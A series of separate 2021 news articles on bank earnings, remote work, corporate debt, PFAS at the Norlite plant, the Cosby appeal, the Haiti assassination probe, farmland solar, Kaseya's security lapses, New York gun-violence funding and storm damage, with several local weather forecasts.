And Goldmans profits hit 4billion, as its investment banking unit celebrated its second-highest quarter of revenue ever.

JP Morgan, Americas largest bank which is often seen as a bellwether for the US economy, said profits more than doubled from the same time last year to 8.6bn

Both were boosted by a flurry of companies seeking to snap up rivals and a rush of firms to float on the stock market.

Goldmans investment bank pulled in revenues of 2.6billion. At JP Morgan, chief executive Jamie Dimon said global investment bank fees hit an all-time high of 2.6billion, driven by an active mergers and acquisitions market.

Both were also helped by the improving economic outlook in the US, as they released piles of cash set aside to cover losses expected from the pandemic.

JP Morgan released reserves of 2.2billion, while Goldman freed up 66.5million.

Despite the rosy profits, JP Morgans overall revenue fell 8 per cent from the same time last year to 22billion.
On paper, it seemed like any new graduate's dream: waking up 20 minutes before work starts and answering emails all day in your pyjamas.

Gone were the lengthy commutes and interminable meetings replaced instead with longer lie-ins, more Netflix and low-pressure Zoom calls.

But as the Working From Home revolution shows no sign of ending  with some offices even shutting for good  young workers are starting to feel the strain.

Many are stuck in cramped bedrooms and have yet to meet their colleagues in real life.

Many young people who have been working from home throughout the pandemic are stuck in cramped bedrooms and have yet to meet their colleagues once in real life

And experts warn it will hinder their career prospects, restrict their money-making potential and lead to a critical shortage of soft skills in the workplace.

'When I first interviewed for my job, I was told we would be going back to the office and everybody was so excited to get back,' says one anonymous female professional working in the media.

'However just one month into the role we were told the office was closing for good. I was devastated. I was 23 years old and told to sit in my bedroom and work alone for eight hours a day.'

She is one of many young graduates who has never even met their colleagues in person, relying instead on video calls for social interaction.

Many had expected to return to their offices on so-called Freedom Day on July 19, but government messaging remains muddled.

Although the 'work from home' order will officially be lifted next week, the Prime Minister urged caution on Monday as he said: 'We don't expect that the whole country will return to their desk as one from Monday.'

Dr Eliza Filby, a social historian and workplace expert, warns that if young people are cut off from the office entirely it will hinder workplace productivity in years to come.

She says: 'We will have a generation of people who are over-educated, under-trained and under-experienced. This generation is less likely than their elders to have had Saturday jobs.

'They're not used to the workplace and they need to be around more experienced colleagues to learn the most basic etiquette.'

It's no surprise young people are leading the charge back into the office. Research from Nationwide and Ipsos MORI found that six out of ten employees in Generation Z (those born after 1997) say they need to spend time with their colleagues face-to-face in order to carry out their work effectively.

Some 50 per cent of Millennial workers (born between 1981 and 1996) said the same.

'I live alone and feel isolated working from home' Lauren Lockhead often goes a whole day without actually speaking to another human. The 27-year-old, from Newcastle, lives alone and has yet to meet her colleagues. Lauren Lockhead (pictured) often goes a whole day without actually speaking to another human Lauren, who works for a PR agency, says: 'I started my new job in January and while they allow hybrid working, no one is going into the office. 'There are days I go without speaking to anybody in person. It's very isolating. 'I find myself making conversation with people in the supermarket instead. 'My job pre-Covid involved networking and socialising. But now it's so email-based. 'I feel lucky that I'm not straight out of university. Those early days of my career were very important to establishing my career.'

Joanna Swash, CEO of communications company Moneypenny, which employs more than 850 staff members in the UK, says: 'When it comes to working in the office, it's definitely our younger employees who seem most keen to come in.

'Many are in cramped living conditions. It's clear they are craving the social side of the office, too.

'It's also face-to-face contact that will help you progress in your career. It's hard to do over Zoom.'

Noa Hoffman, 23, is among those desperate to get back into the office. She has worked for three different employers since the pandemic began  yet she hasn't met a single colleague.

The journalist, from London, says: 'I started out on a work placement in Leeds where I was living in a cramped flatshare and could only work in my room.

'Working in the same room you sleep in is so bad for your mental health. It's also embarrassing when you're video calling your boss with your bed behind you.

'I want to be meeting people and progressing my career.'

Dr Filby says: 'Offices are hugely important social spaces when you're young  it's where you make your friends, learn and it's where you often fall in love.'

Earlier this year Goldman Sachs boss David Solomon hit headlines after he called remote working an 'aberration' that needed to be 'corrected as soon as possible'.

But other businesses have taken different approaches.

Asda announced earlier this month it was adopting a 'hybrid' working model which would allow employees to choose how little or often they come into the office.

HSBC, KPMG and Deutsche Bank all made similar decisions.

There are fears the hybrid model will make some jobs redundant and lead to unemployment.

Reports recently revealed more than a quarter of Deloitte's UK secretarial staff face redundancy as bosses now do more of their administrative tasks online.

Experts also say Working From Home could lead to reduced salaries as bosses can argue employees save on commuting costs.

Personal finance analyst Sarah Coles, from Hargreaves Lansdown, says: 'Businesses now have a larger pool to select candidates from and aren't restricted to their geographical location.

'It means in London there will no longer be a pressure to offer London-weighted salaries as employees can choose not to live there.'

The result is the gap in salaries between professional and lower-skilled workers  in short supply after Brexit and less likely to work from home  could close.

Data from recruitment site Reed.co.uk found average salaries in 2021 have decreased by 4 per cent since 2020  when the job market was more volatile. It also found wages being advertised in the 0-25k salary tier increased by 14 per cent.

Average salaries in catering and hospitality rose by 7 per cent.

h.kelly@dailymail.co.uk
Bank of England Governor Andrew Bailey has sounded the alarm over towering levels of corporate borrowing and warned that highly indebted companies may struggle to survive the year.

As the central bank published its latest financial stability report, he said businesses loaded with debt are 'much less resilient'.

The warning came amid a wave of takeovers of British companies by private equity firms well known for piling extra debt  or leverage  on to firms to reduce tax bills and increase profits.

Bank of England governor Andrew Bailey (pictured) cautioned that businesses loaded with debt are 'much less resilient' and would be at risk of going under if another crisis hit

A string of companies have been targeted including supermarkets Asda and Morrisons and security giant G4S.

Addressing accusations of 'pandemic plundering' and fears that private equity deals could leave Britain's economy weaker, Bailey said: 'We don't take a view on private equity in and of itself.

'What I would say though, and I hope and think that Covid has illustrated this forcefully, is that it is really about the question of corporate leverage.

'Companies that increase their leverage beyond levels that are safe and sustainable are in a much less resilient position when a shock comes along  and we've had a very big one.

'The very clear message should be to companies  leverage matters. It matters to the resilience of your own financial position. Therefore you need to have regard to it.'

Crackdown on cloud Technology firms which provide cloud services to Britain's financial sector could be under the Bank of England's spotlight. Companies like Amazon Web Services support increasingly important parts of operations, the Bank says, and it wants to increase scrutiny of cloud providers as the small pool of tech firms can haggle over terms. Bailey said: 'That concentrated power can manifest itself in secrecy, opacity and not providing customers with information they need to be able to monitor the risk in the service. We have seen some of that going on.'

The Bank said companies could be squeezed as early as the autumn when government support during the pandemic begins to unwind.

The report from Threadneedle Street said repayments of deferred VAT, piled-up rent bills, and vast Covid loans would put 'additional pressure' on cash flow and could cause insolvencies to increase.

Bailey noted that debt levels had only increased 'modestly' since the pandemic began.

But he said this was disguising worrying levels of loans among struggling sectors such as hospitality and travel.

Private equity bidders are circling British firms to exploit low share prices on a stock market depressed by Covid.

Ministers are under increasing pressure to probe the surge in deals. Nick Hood, a senior adviser at Opus Restructuring, said: 'There has to be an inquiry, there has to be some hardheaded analysis of what's happened so far. It's up to the Government to find a mechanism to prevent these companies being buried in debt.'

Bailey has urged banks to keep lending and co-operate on repayments as the recovery continued.

He said: 'Covid has had an uneven effect on different sectors of the economy so it's important support remains in place.'

Officials have kept the level of cash buffers, which lenders must hold in good times to absorb losses when the economy turns sour, at 0 per cent until 2022.

This means lenders have an extra 190billion to lend to prop up the economy. Bailey played down risks that the housing boom would fuel unsustainable debt among borrowers.
Tifton, GA (31794)

Today

Scattered thunderstorms in the morning becoming more widespread in the afternoon. High 86F. Winds WSW at 5 to 10 mph. Chance of rain 70%..

Tonight

Scattered thunderstorms in the evening. Cloudy skies overnight. Low 72F. Winds light and variable. Chance of rain 70%.
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Barre, VT (05641)

Today

Rain showers early with mostly cloudy conditions later in the day. High near 80F. Winds light and variable. Chance of rain 40%..

Tonight

Partly cloudy. A stray shower or thunderstorm is possible. Low 63F. Winds light and variable.


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Thomasville, GA (31792)

Today

Scattered thunderstorms in the morning, then mainly cloudy during the afternoon with thunderstorms likely. High 86F. Winds SW at 5 to 10 mph. Chance of rain 80%..

Tonight

Mostly cloudy skies. A stray shower or thunderstorm is possible. Low 71F. Winds light and variable.
@rachelravina on Twitter

Rachel Ravina is a journalist covering news and lifestyle features in Montgomery County, Pennsylvania. She grew up in Blue Bell and graduated from Penn State. She's also a news enthusiast who is passionate about covering topics people want to read.
Gov. Bill Lee, flanked by House Majority Leader William Lamberth, signs legislation into law Thursday, April 8, 2021, allowing for carrying a handgun without a permit in Tennessee.
COHOES  Responding to longstanding complaints and worries about dust blowing to a neighboring housing project, the Norlite aggregate plant earlier this summer started misting the site to cut down on the airborne grit.

But now, a neighborhood activist is worried because the water they are using comes from a pond shown to contain low, but detectable, levels of potentially toxic PFAS chemicals.

Norlite workers are getting water from a quarry pond where they mine the shale rock, which is then cooked and turned into construction and road-building aggregate.

The pond was found to have low levels of PFOS, a kind of PFAS chemical, when the state last fall tested a number of spots around Norlite for the potentially toxic chemical compound.

Two samples from the quarry pond [waters 5 and 6] both showed 12 ppt PFOS, being in excess of the NY state guidelines for PFOS of 10 ppt for drinking water. If the water is unsafe to drink, it is certainly also unsafe to inhale as mist, Joe Ritchie an activist and resident of the neighboring Saratoga Sites housing complex wrote in a message Monday to the state Department of Environmental Conservation. PPT is parts per trillion.

Its kind of alarming, Ritchie said of the chemical mist.

Ritchie to Luisi by rkarlin on Scribd

PFOS, or Perfluoro-octane sulfonic acid, is a form of PFAS, or per fluorinated alkylated substances. PFAS chemicals until recently were a concern with Norlite as the plant had been incinerating the chemicals, which are found in some firefighting foams. They were incinerated in the plants large high-temperature kiln, which heats the mined shale.

That has since stopped and incinerating firefighting foam with PFAS compounds is now prohibited in New York.

"DEC received Mr. Ritchies letter and is working with our partners at the State Department of Health to assess the issues raised," a spokesperson for the agency said. They added they are continuing to monitor dust from the facility.

They added that they require Norlite to monitor PFAS concentrations in the quarry pond. Additionally, they said the Health Department's maximum recommended exposure levels are based on daily ingestion of two liters, or a half-gallon, per day for a lifetime.

Norlite, in responding to Ritchies letter, said he was making baseless allegations, and is on a crusade against the company

It has come to our attention that a resident of Saratoga Sites who is on a crusade against Norlite is again misusing public resources with baseless allegations and claims that are wholly unsupported by facts or data, Norlites U.S. CEO, Jeff Beswick wrote to DEC regional administrator Anthony Luisi.

Ritchie had written to Luisi about his concerns initially.

Beswick noted that the quarry pond water is not for drinking.

No one is drinking this water, and to draw a connection between water that is consumed and mist that is dispersed in the air is, to put it charitably, uninformed, Beswick wrote.

Beswick also rebutted Ritchies complaint about a smelly mist, since a state monitor is on site and would have presumably reported that.

DEC in its survey last year noted that the pond is not used as a source of drinking water and does not represent a risk of exposure to area residents.

But they also recommended further investigation for other sources of PFAS compounds in the area and they recommended requiring Norlite to monitor PFAS concentrations in the quarry pond..

PFAS-class chemicals, including PFOS, are linked to health problems including cancers and thyroid problems. Worries about PFAS compound in drinking water several years ago prompted an ongoing overhaul of the Hoosick Falls municipal water system, which had seeped into the ground from nearby factories.

Last years DEC survey of Norlite came after a group of Bennington College researchers and students, led by anthropology professor David Bond in April 2020, said they found PFAS contamination downwind from the Norlite plant.

The state then did its own study, sampling a number of water sources in and around the plant.

Controversy has continued to swirl around Norlite since news in 2020 that they had been incinerating PFAS-laden firefighting foam, which came from military bases and fire departments across the East Coast.

While the PFAS are no longer burned there, Norlite does incinerated hazardous waste chemicals, such as solvents, to power its kiln.

rkarlin@timesunion.com 518 454 5758 @RickKarlinTU
PHILADELPHIA (AP)  The lead prosecutor in Bill Cosbys sex assault case believes the Pennsylvania Supreme Court overstepped its power in reversing the comedians conviction and added fuel on the fire" when the chief justice gave a weekend television interview  and appeared to misstate the key issue in the appeal.

Chief Justice Max Baer accused prosecutors of a reprehensible bait and switch in arresting Cosby in 2015 despite what he called the certain existence of a 2005 non-prosecution agreement.

There was no controversy whatsoever that the deal was made. It was memorialized in emails, it was memorialized in news conferences, Baer told WHTM-TV in Harrisburg.

However, the existence of the agreement has been hotly debated, both before and after the two criminal trials that ended with Cosbys conviction in 2018. And there was no mention of it in writing until 2015.

The ex-prosecutor who said he made the promise in 2005, Bruce Castor, waited until the case was reopened a decade later to tell the victim or anyone in his office about it, according to their testimony. By then, the defense lawyer to whom Castor said he made the promise had died.

Montgomery County District Attorney Kevin Steele said this week he is reviewing the Supreme Court decision to see if he might challenge it. He believes the state's high court revisited the facts of the case, which he called the job of the trial judge. The appellate courts are tasked with reviewing legal rulings.

One potential path is to seek review at the U.S. Supreme Court, although that is often a long shot. Cosby, who turned 84 on Monday, served nearly three years in prison before his release. Sex assault victims, and many Cosby accusers, have sharply criticized the June 30 decision.

Despite the extensive investigation we conducted, we found no credible evidence that Castor had given Cosby immunity, Steele said in a statement issued late Sunday, in response to Baers unusual television comments about the decision.

There has been a tremendous amount of misinformation about what actually took place in this criminal prosecution. Throwing further fuel on the fire was a televised interview airing this weekend by now Pennsylvania Supreme Court Chief Justice Baer," Steele said.

Steele challenged the courts finding that Cosby relied on a promise when he gave a deposition in the accusers lawsuit, rather than assert his Fifth Amendment right not to testify. And he said the trial judge agreed with him.

His office has argued over the years that Cosby made a strategic decision to sit for the deposition in accuser Andrea Constands lawsuit, rather than have a jury learn that he had invoked his right not to incriminate himself. And, they noted, Cosby by that time had given a voluntary police statement and spoken to a tabloid about the encounter.

Shortly after that 2006 deposition, Cosby paid Constand $3.4 million to settle the case. The testimony remained sealed until 2015, when a federal judge made parts of it public at the request of The Associated Press, calling his admissions perhaps criminal.

Castors successor, now-Judge Risa Vetri Ferman, took that cue and reopened the investigation. Only then  in September 2015  did Castor send the first email suggesting he had made a binding agreement to Cosbys lawyer, according to evidence in the case.

He had never told Ferman about it, even though she was his top deputy and the person leading the Cosby investigation in 2005, according to her testimony.

Instead, he issued a February 2005 news release that said he would not prosecute Cosby, hoped the parties would work it out in civil court and said he would not have any further comment.

Ferman, later asked under oath if she thought the news release amounted to a non-prosecution or immunity agreement, said, No of course not.

Castor, as he campaigned to return to the District Attorneys Office in 2015, insisted the decision not to prosecute Cosby was meant to be binding.

Montgomery County Judge Steven ONeill found Castor not credible after a two-day hearing in February 2016, and sent the case to trial. He ultimately sentenced Cosby to three to 10 years in prison after a jury convicted him in a 2018 retrial of drugging and molesting Constand in 2004.

The Associated Press does not typically identify sexual assault victims without their permission, which Constand has granted.

The Supreme Court, in its majority opinion, said the record supports ONeills finding that Castor made a charging decision, not a formal immunity agreement, but said his 2015 attempts to explain or characterize his actions are largely immaterial.

Instead, the four-person majority found indisputable evidence that Castor hoped to induce Cosby to testify in the civil suit in the hope it would help Constand. And they found it reasonable that Cosby and his experienced lawyers relied on an unwritten promise.

Some fear the decision creates the potential for prosecutorial abuse if it's allowed to stand. A pair of state lawmakers want to require immunity agreements to be put in writing, lest a rogue prosecutor be given the power to effectively pardon people before ever charging them.

The Pennsylvania District Attorneys Association said the decision potentially grants unprecedented pardons power to each and every district attorney, and every one of his or her assistants in perpetuity, on their successors, and without having to be in writing.

That issue might interest the U.S. Supreme Court if Steele decides to appeal.

However, the twists and turns of the case make it one in a million, and one the high court might therefore choose to skip, according to David Rudovsky, a University of Pennsylvania law professor.

He believes the Pennsylvania court's opinion sends a warning to prosecutors that a defendant caught up in a prosecutors ambiguous decisions should not be harmed by them.

Steele does not see any ambiguity.

To be very clear, prosecutors in this case did not believe there was an agreement not to prosecute or immunity for the defendant at the time we moved forward on the case," he said, and we do not believe it now.

___ Follow Maryclaire Dale on Twitter at https://twitter.com/Maryclairedale.
WASHINGTON (AP)  The investigation into the July 7 assassination of Haitian President Jovenel Moise has so far resulted in at least 23 arrests, with three suspects killed, but no clear picture yet of who ordered the killing and why. What has emerged from the limited disclosures from Haitian authorities, officials in Colombia and elsewhere and people who know the suspects is a growing interconnected web of players. Here's a look at some of the key figures so far:

JOVENEL MOISE

Moise was an obscure businessman from northern Haiti with no political experience when he was chosen by the previous president, flamboyant musician Michel Martelly, as the Tet Kale Party candidate. Moise was declared winner of the 2015 election with a plurality of votes in a crowded field, but the results were thrown out amid suspicions of fraud. After another election, he took office in February 2017 with pledges to strengthen institutions, fight corruption and create jobs. He presided over spiraling violence, widespread power outages and food shortages made worse by the pandemic. He began ruling by decree in January 2020 after parliamentary elections were delayed, prompting increased unrest and charges that he was becoming increasingly authoritarian. In the predawn hours of July 7, gunmen, allegedly including former Colombian soldiers, shot him to death inside his home without wounding any members of the presidential security force.

___

MARTINE MOISE

The first lady was seriously wounded in the attack and evacuated to Florida, where she remains hospitalized. She released an audio statement from the hospital accusing mercenaries of seeking to assassinate the presidents dream, vision and ideas for the country but does not name any possible suspects. She says that whoever was responsible do not want to see a transition in the country. It's unclear if she has been questioned by the magistrate judge in charge of the investigation.

___

CLAUDE JOSEPH

Joseph is interim prime minister of Haiti and was about to be replaced when the assassination occurred. Joseph was named to the post in April following the resignation of Joseph Jouthe, who held the post for just over a year. Two days before the assassination, Moise announced that he had chosen a new prime minister, neurosurgeon Ariel Henry. But the new prime minister had not yet been sworn into office as of July 7. After the assassination, Joseph announced he would be serving as acting prime minister and declared a state of siege in the country, similar to martial law. Henry says he should be prime minister since that was the expressed intention of Moise. The U.S. has recognized Joseph as acting prime minister, but a U.S. delegation also met with Henry and Sen. Joseph Lambert, who is president of Haiti's dismantled Senate, which isn't operating because the lawmakers' terms expired without new elections being held. Lambert also aspires to run the country. U.S. officials say they want to see elections, which had been scheduled for September.

___

CHRISTIAN EMMANUEL SANON

Sanon is a Haitian-born doctor, pastor and businessman and longtime U.S. resident who has been detained as a suspect in the assassination plot. He has said he has done charitable work in Haiti, where he has also owned several businesses,. In a 2011 video on YouTube, he expressed a desire to be president of the country and accused its leaders of corruption. Following his arrest, Haitis national police chief, Leon Charles, said Sanon flew to Haiti in June on a private jet with a private security team with the intention of taking over as Haiti's president. Charles said that after Moise was killed, one suspect phoned Sanon, who then contacted two people believed to be the masterminds of the plot. The chief did not identify them or say if police know who they are. Friends of Sanon have expressed skepticism that he would have been involved in a violent plot. It does not appear that Sanon, who has run a string of failed businesses in the U.S., filed for bankruptcy in 2013 and was largely unknown in Haitian political circles, would have the resources or political backing for the operation.

___

ANTONIO ENMANUEL INTRIAGO VALERA

Intriago Valera is a Venezuelan emigre in the Miami-area who runs Florida-based CTU Security. Colombias national police chief, Gen. Jorge Luis Vargas, said that CTU Security used its company credit card to buy 19 plane tickets from Bogota to Santo Domingo for the Colombian suspects. An associate of Sanon has said that the businessman attended a recent meeting in Florida with Intriago at which a presentation was made about developing Haiti.

___

DIMITRI HERARD

Herard is head of general security at Haitis National Palace. The Colombian national police chief said Herard flew to Colombia, Ecuador and Panama months before the assassination, and Colombian police are investigating whether he had any role in recruiting the mercenaries. In Haiti, prosecutors are seeking to question Herard.

___

FORMER SEN. JOHN JOEL JOSEPH

Joseph is a well-known politician who is an opponent to the Tet Kale party to which Moise belonged. He was elected under the party of Rene Preval and served for six years. Police say he is one of five fugitives sought in the assassination and described him as being armed and dangerous.

___

RODOLPHE JAAR

Police are also seeking Jaar in the killing of Moise, saying he is one of five suspects on the run. Jaar uses the alias Whiskey and was indicted in 2013 with two other men in federal court in South Florida on charges of conspiring to smuggle cocaine from Colombia and Venezuela through Haiti to the U.S. He pleaded guilty and was sentenced to 46 months in prison, according to court records. At his sentencing hearing in 2015, Jaars attorney told the court that Jaar had been a confidential source for the U.S. government for several years before his indictment.

___

JOSEPH FELIX BADIO

Badio is another of the five suspects being sought by police in the assassination. He previously worked at Haiti's Justice Ministry and joined the governments Anti-Corruption Unit in March 2012. The agency issued a statement saying Badio was fired in May following what it called serious breaches of ethical rules that it did not specify, adding that it filed a complaint against him.
BALLSTON  Commercial solar installations on farmland could save farms, several farmers argued at a public hearing on the issue Tuesday.

The Ballston Town Board is considering allowing limited solar projects on farmland. But the Farmland Protection & Preservation Committee is staunchly opposed.

Waste and potential ruin/loss of valuable soils are at risk, said resident Kathy Wilcox, reading a statement by Joan Potts citing the committees concerns. I personally would ask why. Why would the Town Board institute something a supermajority of the farmers are against?

Farmers in the room looked at each other after that speech. Every farmer there was in favor of solar development.

I guess Im part of the minority, said Garth Ellms, co-owner of Ellms Family Farm. Theres a supermajority of farmers on this? I dont believe thats the feeling amongst all.

In fact, no farmer spoke against the idea, although some wanted changes to the proposal.

Ellms argued that the law could single-handedly save farms.

Once you put houses on that (farmland), it's gone forever, he said. This is hedging your bets.

If the farmer needs the land later, the solar panels can be removed.

Or they could get better technology and only need 10 acres of solar panels, he said.

Solar arrays represent a guaranteed income to farmers, which could help them avoid selling off parts of their land for housing developments.

Wilcox has focused on fighting over-development in town, and Ellms said they should be on the same side.

In this town, theres a major over-development problem, he said. Solar is an alternative. Theres a stronger chance its saving farmland.

Farmer Justin Andolina said the solar law would allow him to continue his farm for his lifetime and his childrens lifetimes.

Its perfect, he said.

Others said that theyd like to keep all farmland in use, but that limited solar installations would be acceptable.

Obviously our township is all farms and wed love to see that maintained, said resident Harry Pfaff. But property owners have a right to make decisions about their property.

And, he said, some farmers need alternative sources of income so they aren't forced to sell off their land.

One property owner said the Town Board was properly preparing the town for the inevitable.

I think the town has done a great job (with the proposed law)  its very thoughtful but still allows the town to go down this path, said resident Ryan Devlin. I think solar is the future.

Ellms said after the meeting said that he wants to use 50 of his 420 acres of farmland for a solar installation and use the funds from that project to start a second farm. The second farm might have sheep and bees, produce, and a farm stand. Sheep can graze under solar panels.

It would allow us to start another farm  this can pay for that, he said.

Hed like the law to be more flexible to meet farmers needs.

The restrictiveness the town has in this draft is pretty extreme, he said.

The Town Board did not take action on the proposal Tuesday night, which was slated for a public hearing only, and did not set a date for a final vote.
For 21 years, the software company Kaseya labored in relative obscurity  at least until cybercriminals exploited it in early July for a massive ransomware attack that snarled businesses around the world and escalated U.S.-Russia diplomatic tensions.

But it turns out that the recent hack wasn't the first major cybersecurity problem to hit the Miami-based company and its core product, which IT teams use to remotely monitor and administer workplace computer systems and other devices.

It feels a little like deja vu, said Allie Mellen, a security analyst at Forrester Research.

In 2018, for instance, hackers managed to infiltrate Kaseya's remote tool to run a cryptojacking operation, which channels the power of afflicted computers to mine cryptocurrency  often without its victims noticing. It was a less harmful breach than the recent ransomware attack, which was impossible to miss since it crippled affected systems until their owners paid up. But it similarly relied on Kaseya's Virtual System Administrator product, or VSA, as a vehicle to get access to the companies that rely on it.

A 2019 ransomware attack also rode into computers through another company's add-on software component to the Kaseya VSA, causing more limited damage than the recent attack. Some experts have tied that earlier assault to some of the same hackers who later formed REvil, the Russian-language syndicate blamed for the latest attack.

And in 2014, Kaseyas own founders sued the company in a dispute over responsibility for a VSA security flaw that allowed hackers to launch a separate cryptocurrency scheme. The court case does not appear to have been previously reported outside of a brief 2015 mention in a technical blog post. At the time, the founders denied responsibility for the vulnerability, calling the company's charges against them a bogus assertion.

Nearly all of Kaseya's security problems have as their root cause well-understood coding vulnerabilities that should have been addressed earlier, said cybersecurity expert Katie Moussouris, the founder and CEO of Luta Security.

Kaseya needs to shape up, as does the entire software industry," she said. This is a failure to incorporate the lessons the bugs were teaching you. Kaseya, like a lot of companies, is failing to learn those lessons.

Many of the attacks relied at least in part on what's known as SQL injection, a technique hackers use to inject malicious code into web queries. It's an old technique that Mellen said has been considered a solved problem in the cybersecurity world for a decade.

It points to a chronic product security issue in Kaseyas software that remains unaddressed seven years later," she said. When organizations choose to brush over security challenges, the incidents continue, and, as in this case, get worse."

Kaseya has noted that it's long been a target because many of its direct customers are managed-services providers that host IT infrastructure for hundreds, if not thousands, of other businesses.

In the business were in, and the number of endpoints we manage around the world, as you might expect, we take security extremely seriously," Ronan Kirby, president of the company's European operations, said at a Belgian cybersecurity conference Thursday. You attack a company, you get into the company. You attack a service provider, you get into all their customers. You get into Kaseya, thats a very different proposition. So obviously were an attractive target.

Kaseya declined to answer questions from The Associated Press about the previous hacks or the legal dispute involving its founders.

Mark Sutherland and Paul Wong co-founded Kaseya in California in 2000. They had previously worked together on a project protecting the email accounts of U.S. intelligence workers at the National Security Agency, according to an account on the company's website.

But more than a year after selling Kaseya in June 2013, court records show that Sutherland, Wong and two other former top executives sued the company to recoup $5.5 million in stock buybacks they said they were unfairly denied.

At the heart of the dispute was an attack by hackers who used Kaseya's VSA as a conduit to deploy Litecoin mining malware that secretly hijacks a victim computer's power to make money for the hacker by processing cryptocurrency payments.

Kaseya publicly disclosed the attacks in a March 2014 notice to customers. Privately, it was blaming the company's previous leadership for not warning about serious vulnerabilities in Kaseya's software. It sought to deprive them of the final $5.5 million of the acquisition price to compensate for the loss of business and damaged reputation.

The founders, in turn, blamed the new leadership for scaling back on coding expertise and eliminating a hotfix system for rapidly fixing bugs, according to the lawsuit from Sutherland, Wong, former CEO Gerald Blackie and former Chief Operating Officer Timothy McMullen.

They also argued that the SQL injection technique used by the hackers was highly common and inherent in any computer code" that uses the SQL programming language.

Ensuring that each and every piece of database access code is immune to SQL injection is essentially impossible," said their lawsuit. Mellen and Moussouris both rejected that assertion.

That is a bold statement and provably false, Moussouris said. It highlights the fact they lacked the security knowledge and sophistication to protect their users.

None of the plaintiffs or their lawyers responded to requests for comment. They agreed to dismiss the case in December 2013, just a month after they filed it. It's not clear how it was settled. Kaseya is privately held.

LinkedIn profiles for Sutherland and Wong list them as retired. Blackie went on to become CEO of another Miami-based provider of remote-control software, Pilixo, where he was joined by McMullen. Pilixo didn't return a request for comment.

New vulnerabilities affecting Kaseya's VSA  including the one exploited by the REvil ransomware gang  were discovered this year by a Dutch cybersecurity research group that says it confidentially warned Kaseya in early April. "In the wrong hands, these vulnerabilities could lead to the compromise of large numbers of computers managed by Kaseya VSA, the Dutch Institute for Vulnerability Disclosure said in a blog post last week explaining the timeline of its actions.

Some of those Kaseya fixed by May, including another SQL injection flaw, but the Dutch group said others were still unpatched when ransomware started hitting hundreds of businesses in early July. Kaseya has said up to 1,500 businesses have been compromised as a result of the attack. Kaseya on Sunday rolled out patches to the vulnerabilities used in the REvil attack.

With Kaseya in the spotlight, a cybersecurity responder assisting clients stricken by the July 2 ransomware attack discovered what he called a glaring Kaseya security omission: a vulnerability in a public-facing customer portal that had been identified in 2015 but left unpatched.

Alex Holden of Hold Security said he notified Kaseya and that the portal was quickly taken down. But the vulnerability troubled him, he said, because it granted unauthenticated users access to a configuration file that is highly protected on Microsoft web servers  one that often contains passwords and can grant access to core functions.

Moussouris said there's a pattern of ransomware syndicates going after easily detectable software flaws.

Its collective technical debt around the world and the ransomware gangs are technical debt collectors, she said. Theyre coming after organizations like Kaseya" and others that haven't invested in better security.

___

This article has been corrected to note that news of a court case involving Kaseya and its founders was previously described in a 2015 technical blog post.

___

AP technology reporter Frank Bajak contributed to this article.
ALBANY  Roughly 4,400 youth jobs are expected to be rolled out in New York City as the first part of the state's response to what Gov. Andrew M. Cuomo has deemed a gun violence state of emergency.

Two thousand of the employment opportunities are summer jobs for youth who live in what the state has classified as "gun violence hot spots" that are within New York City, and 2,388 full-time jobs in the labor sector, like carpenters and electricians, for New York City workers are also expected.

"This is life and death, like COVID," Cuomo said Wednesday in Brooklyn. "This is an epidemic, like COVID. This does deserve a concerted, direct effort, like COVID, and that's why you see the state here on the ground."

The youth summer jobs are for people ages 15 to 24 and are in New York City, intended to "keep them employed until the start of school this year," according to a release from the governor's office. The state has committed at least $76 million for summer jobs and community activities for young people; the school year ended June 25. Gun violence is being seen in cities across the state, not just within the five boroughs.

"It's not enough to say, 'No, don't do drugs, don't join a gang,'" Cuomo said. "There has to be an alternative."

Cuomo was joined at the first of two events he held in the city by Democratic mayoral candidate Eric Adams, the Brooklyn borough president and a former state senator. They emphasized the need to resolve the gun violence epidemic, particularly in New York City, in order to bolster the state's economic recovery from the coronavirus pandemic.

"What we do in this moment decides the future of the city of New York," the governor said.

Last week, Cuomo declared a state of emergency on gun violence and said $76 million is being allocated for summer jobs and community activities for young people. The declaration on July 5 followed another deadly weekend of gun violence in New York  although generally not at levels seen in 2020 during the peak of the coronavirus pandemic. Cuomo lamented that "New York's future depends" on solving the issue, not only as it relates to the loss of human life but also the damage to the economy.

"We are dedicated to ending gun violence in our generation," state Sen. Zellnor Myrie of Brooklyn said in Cuomo's second news conference. "We can do it."

The governor's declaration freed up $139 million already budgeted for gun violence in the state's spending plan approved in April. With a state of emergency, the governor's office said it could now expedite distribution of those funds. It also means Cuomo can skip typical regulations when doling out grants, like a competitive public bid process for contracts and services.

The money, though, could have been spent earlier,: and a state of emergency could have been declared at any time. The governor's administration has not presented any information that Cuomo needed to wait for the state to reach a certain threshold of deaths or catastrophe from gun violence to allow for him to declare the emergency. The governor is currently facing multiple investigations related to his administration's handling of the pandemic in nursing homes and alleged sexual misconduct, among other matters.

About 55 percent of the $139 million was budgeted for summer jobs and community activities for the youth, the state's budget office said.

Out of the 4,400 jobs, 900 of them are for youth in East Brooklyn, including 415 for summer employment and 485 for long-term employment with a labor union.

Additional resources are planned for East Brooklyn, including 100 events at Shirley Chisholm State Park, hiring new "violence interveners" to work at community intervention programs and adding staff to the community's Brookdale Hospital for around-the-clock coverage. Additional,unspecified services are planned for mental health, substance abuse and family crisis intervention.

The New York Republican Party took the announcement as an opportunity to blame Democratic policies to the spike in gun violence, which has been seen to be surging across the country since the pandemic.

Democrats "empowered criminals and tied the hands of law enforcement, and now they must own the mess they created," state GOP Chairman Nick Langworthy said in a statement. "No amount of grandstanding or press conferences can hide the truth about their record.
SAND LAKE  It could take weeks to repair the roads that were washed out when powerful thunderstorms dropped as much as 5 inches of rain on parts of Rensselaer County Wednesday.

Standing at the washed out section of Taborton Road in Averill Park Thursday afternoon, county and federal officials said local and national infrastructure has to be built to survive the heavy rains that sent streams over their banks and flooded areas that usually don't go under water.

"When we are going to have these types of weather events we have to make sure our infrastructure is resilient and it can sustain itself through any type of conditions," said U.S. Rep. Antonio Delgado, the Democrat who represents most of the county.

Rensselaer County is asking residents, business owners and local officials to catalog damage in an effort to get federal aid, County Executive Steve McLaughlin said. The county deployed engineers, drones and highway crews to begin repairs and assess the extent of the damage.

"We will have our people at the USDA put together a task force. They will be meeting with the county folks fairly soon," U.S. Agriculture Secretary Tom Vilsack said about helping farmers and using available programs to assist the county. "The federal government is here to help."

